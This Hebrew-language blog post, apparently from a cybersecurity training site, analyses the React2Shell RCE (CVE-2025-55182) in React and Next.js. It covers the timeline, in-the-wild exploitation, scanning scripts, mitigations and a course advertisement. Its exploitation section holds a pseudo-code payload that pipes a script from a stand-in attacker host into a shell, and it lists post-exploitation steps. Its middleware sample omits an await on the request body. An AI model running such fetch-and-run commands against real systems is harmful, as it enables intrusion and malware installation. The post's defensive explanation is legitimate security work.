React2Shell: RCE קריטי ב-React ו-Next.js

React2Shell: RCE קריטי ב-React ו-Next.js

CVE-2025-55182 הוא RCE קריטי ב-React 19 ו-Next.js הנובע מביצוע דה-סיריאליזציה לא מאובטחת ברכיבי שרת React. ניתן לנצל באמצעות בקשות HTTP בתצורות ברירת מחדל. יש לתקן דחופים למנוע גניבת אישורי ענן וקריפטוג'אקינג.
# React2Shell (CVE-2025-55182): סקירה מעמיקה על פגיעות קריטית ב-React

*מאת לקלן דיווידסון*  
*עודכן לאחרונה: ‎4 בדצמבר 2025*

---

## תוכן עניינים
1. [מבוא](#מבוא)  
2. [רקע ולוח זמנים](#רקע-ולוח-זמנים)  
3. [הבנת React2Shell](#הבנת-react2shell)  
   - [מהו React2Shell?](#מהו-react2shell)  
   - [סקירה טכנית של הפגיעות](#סקירה-טכנית-של-הפגיעות)  
4. [ההשפעה על מערכות React ו-Next.js](#ההשפעה-על-מערכות-react-ו-nextjs)  
5. [Deserialization לא בטוח ופרוטוקול Flight](#deserialization-לא-בטוח-ופרוטוקול-flight)  
6. [ניצול בעולם האמיתי ומקרי בוחן](#ניצול-בעולם-האמיתי-ומקרי-בוחן)  
7. [טכניקות זיהוי ומיגון](#טכניקות-זיהוי-ומיגון)  
   - [סריקה באמצעות ‎Bash ו-cURL](#סריקה-באמצעות-bash-ו-curl)  
   - [ניתוח נתוני פגיעויות ב-Python](#ניתוח-נתוני-פגיעויות-ב-python)  
   - [המלצות לניטור יעיל](#המלצות-לניטור-יעיל)  
8. [טכניקות ניצול מתקדמות וניתוח פוסט-אקספלויטציה](#טכניקות-ניצול-מתקדמות)  
9. [טיפול בחיוביות שגויות: למה לא לסמוך](#טיפול-בחיוביות-שגויות)  
10. [מיטב השיטות לתיקון והקשחה](#מיטב-השיטות-לתיקון-והקשחה)  
11. [סיכום](#סיכום)  
12. [מקורות](#מקורות)  

---

## מבוא
בשנים האחרונות חלה עלייה דרמטית באימוץ React ושלל הפריימוורקים סביבו, המניעים הכל ממיזמי ווב קטנים ועד יישומים ארגוניים רחבי-היקף. עם העלייה בפופולריות מגיע גם חשש גובר מפגיעויות—במיוחד כאלו המשפיעות על רכיבים קריטיים באקוסיסטם.

ב-29 בנובמבר 2025 גיליתי ואמדתי באחריות פגיעות הרסנית—React2Shell (CVE-2025-55182)—לצוות Meta. הפגם, המשפיע על מימושי React בצד-השרת ובעיקר על פרוטוקול “Flight” של React Server Components (RSC), תוקן על-ידי צוותי React ו-Vercel ב-3 בדצמבר 2025. פוסט זה מספק ניתוח מעמיק של הפגיעות: מהניואנסים הטכניים ועד ניצול בעולם האמיתי, כולל מיטב השיטות לזיהוי ולמיגון.

בפוסט זה נעסוק ב-  
- הסבר הפגיעות והשלכותיה החמורות.  
- פירוט טכני מדוע וכיצד הפגם קיים.  
- מקרי בוחן לניצול ופעילות פוסט-אקספלויטציה.  
- דוגמאות קוד ופקודות סריקה לאיתור מופעים פגיעים.  
- המלצות לתיקון ולהקשחת פריסות.  

בין אם אתם אנשי אבטחה, מפתחים המבקשים להבין את הסיכונים, או חובבי טכנולוגיות ווב מודרניות—מדריך זה ילווה אתכם מקונספטים בסיסיים ועד טכניקות ניצול מתקדמות והגנות פרואקטיביות.

---

## רקע ולוח זמנים
לוח הזמנים חשוב להבנת ניהול הסיכונים והתגובה המהירה סביב האירוע:

- **29 בנובמבר 2025 (PT):** הפגיעות דווחה באחריות על-ידי לקלן דיווידסון לצוות Meta.  
- **3 בדצמבר 2025 (PT):** צוותי React ו-Vercel פרסמו גילויים ראשונים ותיקונים.  
- **4 בדצמבר 2025:** קוד PoC (הוכחת היתכנות) פומבי החל להתפשט; הועלו אזהרות מפני “PoC-ים” מסוימים שאינם משקפים את מהות הפגם.  
- **לאחר התיקון והניטור:** חוקרים כמו Wiz Research, Amazon Threat Intelligence ו-Datadog תיעדו ניצול ב-Wild, עם קמפיינים נגד מופעי ‎Next.js ציבוריים ופריסות ענן.  

הוקצה CVE נוסף—CVE-2025-66478—ל-Next.js עקב הכללת React כ-vendored dependency, אף שמדובר בטכנית בכפילות. כך קל יותר לעקוב אחרי תלות נסתרת שסורקי פגיעויות עלולים לפספס.

---

## הבנת React2Shell

### מהו React2Shell?
React2Shell היא פגיעות קריטית (CVE-2025-55182) בסביבת React Server Components, המשפיעה על פרוטוקול “Flight”. הפגם מאפשר ביצוע קוד מרוחק (RCE) בלתי מאומת בצד-השרת, בעקבות תהליך Deserialization לא מאובטח בחבילת ‎react-server.

מאפיינים עיקריים:  
- **דירוג קריטי (10.0).**  
- **RCE ללא אימות.** מספיק HTTP request בודד עם מטען מותאם כדי להשתלט.  
- **ברירת-מחדל פגיעה.** יישומי ‎Next.js שנוצרו ב-create-next-app פגיעים אלא אם הוקשחו מפורשות.

### סקירה טכנית של הפגיעות
שורש הבעיה הוא הדרך בה השרת מעבד מטעני RSC. תהליך ה-deserialization לא מאמת כראוי את מבנה הנתונים הנכנס. תוקף יכול לשלוח מטען שמוביל לביצוע קוד לא רצוי בעת ה-deserialization.

תרשים זרימה מקוצר:  
1. **יצירת מטען.** התוקף בונה מטען זדוני.  
2. **בקשת HTTP.** המטען נשלח לשרת פגיע.  
3. **Deserialization והרצה.** השרת מפענח ללא אימות נאות ומריץ קוד בשליטת התוקף.  
4. **ביצוע קוד מרחוק.** התוקף מקבל גישת shell לשרת.

---

## ההשפעה על מערכות React ו-Next.js

### מדוע הפגיעות מסוכנת כל-כך?
1. **אימוץ נרחב.** React/Next.js בין הפופולריים בעולם.  
2. **קלות ניצול.** בקשת HTTP מותאמת מספיקה—אוטומציה קלה.  
3. **שיעור הצלחה גבוה.** ניסויים מצאו אמינות כמעט 100% בתצורת ברירת-מחדל.  
4. **חשיפה ציבורית.** 39% מסביבות ענן אותרו כפגיעות, רבות מהן נגישות לציבור.

### החריגה של ‎Next.js
‎Next.js “מטמיע” את React, ולכן סורקי תלות עלולים לא לאתר את ה-CVE. לשם כך הוקצה CVE-2025-66478 הנוסף כדי להתריע למשתמשי ‎Next.js.

---

## Deserialization לא בטוח ופרוטוקול Flight

### הסבר Deserialization לא בטוח
Deserialization ממיר נתונים מפורמט סידור (JSON/בינרי) לאובייקט חי. חוסר אימות גורם ל-  
- **מעבר נתונים מזויפים.**  
- **הרצת קוד זדוני.** בעת הפענוח, קוד לא מסונן מבוצע.

### פרוטוקול Flight ב-RSC
Flight מעביר נתונים ביעילות בין שרת ללקוח. הביצועים הגבוהים, יחד עם אימות חסר, יצרו נתיב תקיפה.

---

## ניצול בעולם האמיתי ומקרי בוחן

### ניצול ב-Wild
מיד לאחר פרסום ה-PoC נצפו קמפיינים אוטומטיים:  
- **איסוף אישורים.** גניבת משתני סביבה ו-cloud creds.  
- **כריית מטבעות.** התקנת XMRig עטוף ב-UPX.  
- **סיור פוסט-אקספלויטציה.** השגת גישה מתמשכת.

### מקרה בוחן: ‎Next.js על Kubernetes
בקשה תמימה לכאורה ל-Flight פתחה shell הפוך, גילתה ‎K8s Secrets והסלימה להרצת פקודות על ה-Node.

### מקרה בוחן: מתקפות ענן
Wiz Research:  
- 39% מהסביבות הכילו מופעים פגיעים.  
- ניסיונות גנבת AWS creds ב-Base64.  

---

## טכניקות זיהוי ומיגון

### סריקה באמצעות ‎Bash ו-cURL
```bash
#!/bin/bash
# סורק פגיעות בסיסי ל-React2Shell (CVE-2025-55182)
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'

echo "סורק את $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
  echo "נמצאה אינדיקציה לפגיעות ב-$TARGET"
else
  echo "לא אותרה פגיעות מובהקת—מומלץ המשך בדיקה."
fi

ניתוח נתוני פגיעויות ב-Python

import requests, json

def scan_target(url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}
    print(f"סורק {url} ...")
    try:
        r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] ייתכן שהיעד פגיע: {url}")
        else:
            print(f"[-] לא התרחשו אינדיקציות ברורות: {url}")
    except requests.exceptions.RequestException as e:
        print(f"[-] שגיאה בסריקה: {e}")

if __name__ == "__main__":
    for t in ["https://example.com/api/flight",
              "https://another-example.com/api/flight"]:
        scan_target(t)

המלצות לניטור יעיל

  1. הגנת Runtime. להפעיל יכולות אבטחה בצד ספק הענן.
  2. מעקב לוגים. לזהות בקשות Flight חשודות.
  3. כלי ניהול פגיעויות. אינטגרציה עם דשבורדים להתראות מיידיות.

טכניקות ניצול מתקדמות

// פסאודו-קוד להדגמת מבנה מטען
const maliciousPayload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
const serializedPayload = JSON.stringify(maliciousPayload);
sendToServer(serializedPayload);

הבהרה: הקוד לצורכי לימוד בלבד.

צעדי פוסט-אקספלויטציה

  • Shell הפוך.
  • גניבת נתונים רגישים.
  • תנועה לטרלית ברשת.
  • התקנת תוכנות זדוניות / כרייה.

טיפול בחיוביות שגויות

פונקציות כמו vm#runInThisContext, ‏child_process#exec, ‏fs#writeFile עשויות להופיע בקוד לגיטימי. הן אינן הוכחה חד-ערכית לניצול React2Shell.
המלצות:

  • הצלבת תוצאות סורקים עם ייעוץ רשמי.
  • ניתוח לוגים לאירועים אמיתיים.
  • ניטור Runtime לזיהוי חריגות.

מיטב השיטות לתיקון והקשחה

צעדי מיגון מיידיים

  1. עיון בהודעות היצרן.
  2. התקנת גרסאות מתוקנות (react-server-dom* ‎19.0.1/19.1.2/19.2.1).
  3. הפעלת הגנות WAF/Runtime.
  4. ניטור חריגות.
  5. שיתוף מודיעין איומים.

הקשחה למפתחים

  • ולידציית קלט קפדנית.
  • הגבלת חשיפת Endpoints קריטיים.
  • ביקורות אבטחה תכופות.
  • הפרדת סביבות.
// דוגמת Middleware ב-Next.js להגנה נוספת
import { NextResponse } from 'next/server';
export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Invalid payload format', { status: 400 });
      }
    } catch {
      return new NextResponse('Error processing request', { status: 400 });
    }
  }
  return NextResponse.next();
}

סיכום

React2Shell (CVE-2025-55182) מזכירה לנו כי גם פריימוורקים נפוצים ואמינים אינם חסינים מפגיעויות חמורות. הפגיעות מאפשרת RCE בלתי-מאומת, עם השלכות רחבות על סביבות ענן וציבור.
עיקרי הדברים:

  • פגיעות קריטית וקלה לניצול.
  • משפיעה על React ו-Next.js (CVE נוספת ‎66478).
  • ניצול ב-Wild כבר התרחש—יש לעדכן בדחיפות.
  • יש להבחין בין חיוביות שגויות לניצולים אמיתיים.
  • עדכנו תלויות ויישמו שכבות אבטחה נוספות.

מקורות


מדריך מקיף זה מעניק לכם את הידע והכלים הנחוצים להתמודדות עם React2Shell—מפרטים טכניים ועד שיטות מעשיות לזיהוי ולמיגון. הישארו מעודכנים בהודעות רשמיות ושפרו ללא הרף את מערך האבטחה שלכם.

Coding מאובטח ונעים!

🚀 מוכנים לעלות רמה?

קח את קריירת הסייבר שלך לשלב הבא

אם מצאתם את התוכן הזה בעל ערך, תארו לעצמכם מה תוכלו להשיג עם תוכנית ההכשרה המקיפה והאליטיסטית שלנו בת 47 שבועות. הצטרפו ליותר מ-1,200 סטודנטים ששינו את הקריירה שלהם בעזרת טכניקות יחידה 8200.

97% שיעור השמה לעבודה
טכניקות יחידה 8200 עילית
42 מעבדות מעשיות